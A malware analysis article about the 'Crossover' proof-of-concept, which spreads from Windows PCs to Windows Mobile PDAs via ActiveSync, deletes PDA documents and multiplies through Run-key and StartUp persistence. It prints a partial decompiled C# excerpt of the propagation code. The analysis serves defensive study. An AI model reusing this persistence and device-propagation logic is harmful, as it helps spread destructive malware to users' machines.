Like this article? We recommend
Like this article? We recommend
Like this article? We recommend
On February 23, 2006, MARA received an email from an anonymous source. Included with the email was a single RAR'd file containing an executable named crossover-poc-vx.exe and a text file named cvx.txt. The contents of the txt file are included at the end of this article for you information.
We disassembled the Crossover malware and determined that it was written using the Microsoft .NET platform along with the OpenNETCF SDK that is available for download from http://www.opennetcf.org. In particular, the OpenNETCF provides a Communication library that was heavily used to infect the PDA from the PC. According to our tests, any device or platform that supports the .NET and/or /NET CF framework will allow the crossover malware to execute.
Upon execution, the malware will first check to see what type of host operating system on which it resides. If the OS is not Windows CE or Windows Mobile, it will assume it is a desktop running some flavor of Windows. If the malware does not detect the mobile environment, it will make a copy of itself in the Windows folder and will add a registry entry pointing to the new file at HKLM\Software\Microsoft\Windows\CurrentVersion\Run to execute the new file each and every time the OS is rebooted. Then the executable goes into a loop until an ActiveSync connection is detected.
Note that each time the PC is rebooted, the crossover malware executables in the \Windows directory will execute, thus creating additional executables and registry entries. Eventually, enough copies of the malware will be running so that the PC's performance and/or disc space will cause problems for the operator. There are no checks to see if the malware is running or if the PC has been previous infected. New copies of the malware are created using random numbers (e.g., 925059734.exe).
Once an ActiveSync connection is detected, the malware copies itself over to the PDA and executes the new copy on the PDA from the PC via a CreateProcess function included with the OpenNETCF library. This newly executed copy detects the OS as being Windows CE or Mobile, and then deletes all files (not folders) in the \My Documents directory. It then copies itself to the \Windows directory on PDA and creates a short cut to that newly created executable in the \Windows\StartUp directory on the PDA. The result is that each time the PDA is rebooted, the Crossover malware copies are all executed, which then creates additional copies on the PDA. So even if the PDA user did not notice their files were missing from the \My Documents directory, it would not take long for the PDA's system resources to be exhausted
Testing was done on Windows Mobile 2002, 2003SE and Mobile 5 on three Pocket PC handhelds. The desktops used for testing were Windows XP and Windows Server 2003 in a VMWare environment. The testing was successful in all three cases, and the intended results were achieved. In Windows Mobile 2002, .NET CF 1.0 had to be manually installed because it does not have native support. In Mobile 2003SE and 5, .NET CF is natively supported and thus no modifications were needed. Some Windows Mobile 5 devices (e.g., the Dell Axim X51v) will require the user to allow the malware to execute thanks to its more stringent security settings. However, this added security is an OEM option and is often disabled by the user via a simple registry setting.
It should be noted that the malware is written in .NET, which is easily disassembled from binary back into source code using programs like Anakrino. The following is a short sample of the source code we obtained by disassembling the malware. Comments are included with the code.
local1 = Environment.OSVersion.ToString(); #obtain current OS type
local1 = local1.ToLower(); #convert to lowercase
local2 = local1.IndexOf("ce"); #get location of string ce in OS type
local3 = local1.IndexOf("mobile"); #get index of string mobile in OS type
if (local2 < 1 && local3 < 1) { #if the string ce or mobile exists, then execute
try {
local4 = new RAPI();
local5 = Assembly.GetExecutingAssembly().GetName().CodeBase;
local5 = local5.Replace("/", "\\");
local6 = local5.LastIndexOf("\\");
local7 = local5.Substring(local6 + 1, local5.Length - local6 - 1);
local5 = local5.Remove(0, 8);
local5 = local5.Substring(0, local5.LastIndexOf("\\") + 1);
local8 = local5 + local7;
local9 = new FileInfo(local8);
local10 = new Random(); #create file name
local11 = Convert.ToString(local10.Next()) + ".exe";
local12 = "c:\\windows\\" + local11; #include the path
local13 = new -
AutoStartApps("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\");
# define the registry key
local13.Add(local12); #add new file to registry
local4.Connect(); #try to connect to PDA
while (!(local4.DevicePresent)) #continue looping until PDA present
local4.Connect(); #connect
local9.CopyTo(local12);
local14 = "\\Windows\\" + local11; #define destination
local4.CopyFileToDevice(local12, local14, true); #copy file to PDA
local4.CreateProcess(local14, "0"); #execute file
local4.Disconnect(); #disconnect
}
catch (Exception) {} #if error then catch exception
}
This is only part of the code, but you can see how easy it is to reverse-engineer the binary to learn what it is doing behind the scenes. The code provides clear evidence that the OpenNETCF library was used in the creation of the malware, as well as the Microsoft CF library.